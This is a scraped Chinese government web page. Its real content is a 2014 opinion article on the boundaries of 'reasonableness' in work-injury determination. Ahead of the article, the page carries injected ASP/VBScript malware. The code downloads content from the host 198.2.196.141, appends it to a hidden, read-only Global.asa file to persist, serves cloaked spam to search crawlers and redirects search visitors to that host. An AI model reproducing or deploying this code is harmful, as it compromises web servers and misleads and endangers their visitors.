' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 认定工伤“合理”的边界在哪里_ _思想言论_马尔康组工网——中共马尔康市委组织部信息中心
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认定工伤“合理”的边界在哪里
[审核: | 撰稿:敬诚 | 日期:2014年11月4日 | 浏览2366 次] 字体:[ ]

人民网链接:http://opinion.people.com.cn/n/2014/0821/c159301-25512911.html

     昨天,《最高人民法院关于审理工伤保险行政案件若干问题的规定》发布,《规定》细化了工伤认定中的“工作原因、工作时间和工作场所”“因工外出期间”以及“上下班途中”等问题,还对双重劳动关系、派遣、指派、转包和挂靠关系等5类特殊的工伤保险责任主体做了明确规定。(8月21日《京华时报》)

  工伤,顾名思义,就是因公受伤。说起来简单,操作起来却困难多多,原因就在于“公”的外延,边界如何判断,导致在认定中产生一系列纠纷。《规定》从“工作原因、工作时间和工作场所”等方面给出了“合理”的边界,只要和工作有合理的联系,就可以认定为工伤,而“合理”的边界又在哪里,确实需要深究。

  合理本是一个很宽泛的词语,合乎道理或事理,合乎规律。“存在即合理”,这里并不能适用,但这里的合理很容易误导一些人,反复从存在的事实去倒推其与工作的关系,努力寻求其合理性,从而贴上工伤的标签。

  用合理来定义工伤本义是希望最大限度保护受伤劳动者的合法权益,但合理一词容易被泛泛化,在司法实践中带来更大争议,因此在最大限度保护受伤劳动者的合法权益的同时,也要给合理划上边界。

  工伤合理的边界关键在于与工作的关系,联系究竟有多紧密,这是把握的重点,也是难点。如果单纯只强调合理,那么可能出现操作中任何受伤都尽可能的和工作联系起来,导致一些人搭上工伤的“便车”,损害用工方的利益。

  在对工伤是否合理上,高院还应该给出一些具体的案例,规定还可以更细致一些,让地方法院操作性更强一些,避免合理的漫无边际。

  法律的作用是保护当事人双方的合法权益,仅用合理来认定工伤显然可能扩大工伤范围,让用工方面临更多不可控因素,承担更多责任,这显然违背了法律的初衷。


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